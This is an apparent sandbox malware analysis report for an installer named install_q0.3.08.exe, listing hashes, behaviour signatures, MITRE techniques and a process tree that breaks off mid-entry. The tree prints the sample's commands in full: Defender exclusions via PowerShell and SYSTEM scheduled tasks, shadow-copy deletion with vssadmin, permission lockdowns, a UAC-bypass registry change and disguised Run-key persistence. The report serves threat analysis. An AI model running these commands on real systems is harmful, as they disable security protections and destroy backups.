956e0a75a535e93dc0df56c320d2649062b5dee714d4c28443d943d44b7f5d9b

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/08/2026, 22:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q0.3.08.exe
Size 31.2MB
Sample260830-2cs9qa1enh
SHA256 956e0a75a535e93dc0df56c320d2649062b5dee714d4c28443d943d44b7f5d9b
MD5 5571f12cadc7ec6da6e20e01f3ee0cf9
SHA1 f1d5fc3af21ae21474bfa9c3cbb966518aba2c4b
SHA512 6b9fb66b9775cb16f0c6fdafbecc07481321750384c7c62eb5ae378ad8a1e929bc66b2ae577aa7f9060c1c52cb6c6c4b47720ea42075f6d900093ed8d55319e4
SSDEEP 98304:5i9U9dbM4EJ3yZLxG8caZfnjIhKnp5l6t4l8xMv4cE:w2vbMxJ35aZfnOElY4lzm
TLSH
T131776012B346898BE476A278484B8F94E321EDB19AB1937773B4731E1FFE34C5E96104
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	mxzlCk.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\efVUwz = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1500	powershell.exe
1536	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mxzlCk.exe

Executes dropped EXE 7 IoCs

pid	Process
3208	qQi2wp.exe
4228	qQi2wp.exe
5660	mxzlCk.exe
5896	mxzlCk.exe
3728	526oi13.exe
3512	mxzlCk.exe
2192	526oi13.exe

Loads dropped DLL 7 IoCs

pid	Process
3208	qQi2wp.exe
4228	qQi2wp.exe
5660	mxzlCk.exe
5896	mxzlCk.exe
3728	526oi13.exe
3512	mxzlCk.exe
2192	526oi13.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4696	icacls.exe
3940	icacls.exe
1912	icacls.exe
2396	icacls.exe
2304	icacls.exe
4756	icacls.exe
4620	icacls.exe
4204	icacls.exe
5976	icacls.exe
1808	icacls.exe
4772	icacls.exe
3744	icacls.exe
2960	icacls.exe
2400	icacls.exe
3888	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\efVUwz\\qQi2wp.exe\""	qQi2wp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\29xmbo\\mxzlCk.exe\""	mxzlCk.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1436	cmd.exe
3884	cmd.exe
4908	cmd.exe
3952	cmd.exe
5868	cmd.exe
5476	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	qQi2wp.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\29xmbo	qQi2wp.exe
File created	C:\Program Files (x86)\29xmbo\mxzlCk.exe	qQi2wp.exe
File opened for modification	C:\Program Files (x86)\29xmbo\mxzlCk.exe	qQi2wp.exe
File opened for modification	C:\Program Files (x86)\29xmbo\XPSPLOG.dll	qQi2wp.exe
File opened for modification	C:\Program Files (x86)\29xmbo\thumbs.db	qQi2wp.exe
File opened for modification	C:\Program Files (x86)\3wt1Cj288	mxzlCk.exe
File created	C:\Program Files (x86)\3wt1Cj288\526oi13.exe	mxzlCk.exe
File opened for modification	C:\Program Files (x86)\3wt1Cj288\thumbs.db	mxzlCk.exe
File created	C:\Program Files (x86)\29xmbo\image.png	qQi2wp.exe
File created	C:\Program Files (x86)\3wt1Cj288\image.png	mxzlCk.exe
File opened for modification	C:\Program Files (x86)\3wt1Cj288\image.png	mxzlCk.exe
File created	C:\Program Files (x86)\3wt1Cj288\thumbs.db	mxzlCk.exe
File opened for modification	C:\Program Files (x86)\3wt1Cj288\XPSPLOG.dll	mxzlCk.exe
File opened for modification	C:\Program Files (x86)\29xmbo\image.png	qQi2wp.exe
File created	C:\Program Files (x86)\29xmbo\XPSPLOG.dll	qQi2wp.exe
File created	C:\Program Files (x86)\29xmbo\thumbs.db	qQi2wp.exe
File opened for modification	C:\Program Files (x86)\3wt1Cj288\526oi13.exe	mxzlCk.exe
File created	C:\Program Files (x86)\3wt1Cj288\XPSPLOG.dll	mxzlCk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\ScreenSaveActive = "0"	mxzlCk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	mxzlCk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\SCRNSAVE.EXE	mxzlCk.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3292	cmd.exe
1936	cmd.exe
5740	cmd.exe
1380	cmd.exe
5064	cmd.exe
1204	cmd.exe
3012	cmd.exe
2796	cmd.exe
1240	cmd.exe
3580	cmd.exe
2128	cmd.exe
3376	cmd.exe
2120	cmd.exe
2556	cmd.exe
1316	cmd.exe
4504	cmd.exe
3260	cmd.exe
6104	cmd.exe
4660	cmd.exe
4632	cmd.exe
1512	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mxzlCk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mxzlCk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mxzlCk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	526oi13.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	526oi13.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\SCRNSAVE.EXE	mxzlCk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\ScreenSaveActive = "0"	mxzlCk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	mxzlCk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	mxzlCk.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4176	schtasks.exe
3940	schtasks.exe
1672	schtasks.exe
3580	schtasks.exe
4616	schtasks.exe
2484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3288	install_q0.3.08.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe
3208	qQi2wp.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe
Token: SeManageVolumePrivilege	1536	powershell.exe
Token: 33	1536	powershell.exe
Token: 34	1536	powershell.exe
Token: 35	1536	powershell.exe
Token: 36	1536	powershell.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 3208 wrote to memory of 1536	3208	qQi2wp.exe	90
PID 3208 wrote to memory of 3884	3208	qQi2wp.exe	92
PID 3884 wrote to memory of 2484	3884	cmd.exe	95
PID 3208 wrote to memory of 4908	3208	qQi2wp.exe	97
PID 3884 wrote to memory of 3320	3884	cmd.exe	98
PID 4908 wrote to memory of 4176	4908	cmd.exe	103
PID 3884 wrote to memory of 2448	3884	cmd.exe	104
PID 3208 wrote to memory of 3952	3208	qQi2wp.exe	105
PID 3952 wrote to memory of 3940	3952	cmd.exe	107
PID 3208 wrote to memory of 5868	3208	qQi2wp.exe	108
PID 4908 wrote to memory of 5188	4908	cmd.exe	110
PID 5868 wrote to memory of 1672	5868	cmd.exe	112
PID 3952 wrote to memory of 5072	3952	cmd.exe	113
PID 4908 wrote to memory of 2400	4908	cmd.exe	114
PID 3952 wrote to memory of 3156	3952	cmd.exe	115
PID 5868 wrote to memory of 1284	5868	cmd.exe	116
PID 3208 wrote to memory of 5476	3208	qQi2wp.exe	117
PID 5868 wrote to memory of 2900	5868	cmd.exe	119
PID 5476 wrote to memory of 3580	5476	cmd.exe	120
PID 5476 wrote to memory of 2768	5476	cmd.exe	121
PID 5476 wrote to memory of 2304	5476	cmd.exe	123
PID 1316 wrote to memory of 4920	1316	cmd.exe	127
PID 3012 wrote to memory of 1192	3012	cmd.exe	128
PID 3292 wrote to memory of 3804	3292	cmd.exe	129
PID 3208 wrote to memory of 5660	3208	qQi2wp.exe	131
PID 5660 wrote to memory of 4504	5660	mxzlCk.exe	134
PID 5660 wrote to memory of 1936	5660	mxzlCk.exe	136
PID 5660 wrote to memory of 5740	5660	mxzlCk.exe	138
PID 1936 wrote to memory of 4620	1936	cmd.exe	140
PID 5660 wrote to memory of 1512	5660	mxzlCk.exe	141
PID 1512 wrote to memory of 4696	1512	cmd.exe	143
PID 5660 wrote to memory of 4632	5660	mxzlCk.exe	144
PID 4632 wrote to memory of 4204	4632	cmd.exe	146
PID 5660 wrote to memory of 1204	5660	mxzlCk.exe	147
PID 1204 wrote to memory of 4756	1204	cmd.exe	149
PID 5660 wrote to memory of 2556	5660	mxzlCk.exe	150
PID 2556 wrote to memory of 4772	2556	cmd.exe	152
PID 5660 wrote to memory of 4660	5660	mxzlCk.exe	153
PID 4660 wrote to memory of 5976	4660	cmd.exe	155
PID 5660 wrote to memory of 2120	5660	mxzlCk.exe	156
PID 2120 wrote to memory of 3744	2120	cmd.exe	158
PID 5660 wrote to memory of 3376	5660	mxzlCk.exe	159
PID 3376 wrote to memory of 3940	3376	cmd.exe	161
PID 5660 wrote to memory of 3260	5660	mxzlCk.exe	162
PID 3260 wrote to memory of 2400	3260	cmd.exe	164
PID 5660 wrote to memory of 1380	5660	mxzlCk.exe	165
PID 1380 wrote to memory of 1912	1380	cmd.exe	167
PID 5660 wrote to memory of 2128	5660	mxzlCk.exe	168
PID 2128 wrote to memory of 2960	2128	cmd.exe	170
PID 5660 wrote to memory of 6104	5660	mxzlCk.exe	171
PID 6104 wrote to memory of 3888	6104	cmd.exe	173
PID 5660 wrote to memory of 3580	5660	mxzlCk.exe	174
PID 3580 wrote to memory of 2396	3580	cmd.exe	176
PID 5660 wrote to memory of 1240	5660	mxzlCk.exe	177
PID 1240 wrote to memory of 2304	1240	cmd.exe	179
PID 5660 wrote to memory of 2796	5660	mxzlCk.exe	180
PID 2796 wrote to memory of 1808	2796	cmd.exe	182

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	mxzlCk.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q0.3.08.exe
"C:\Users\Admin\AppData\Local\Temp\install_q0.3.08.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3288

C:\Users\Public\efVUwz\qQi2wp.exe
"C:\Users\Public\efVUwz\qQi2wp.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\efVUwz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\efVUwz\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3320
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2304
- C:\Program Files (x86)\29xmbo\mxzlCk.exe
  "C:\Program Files (x86)\29xmbo\mxzlCk.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5660
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4772
- - C:\Windows\SysWOW64\cmd.exe
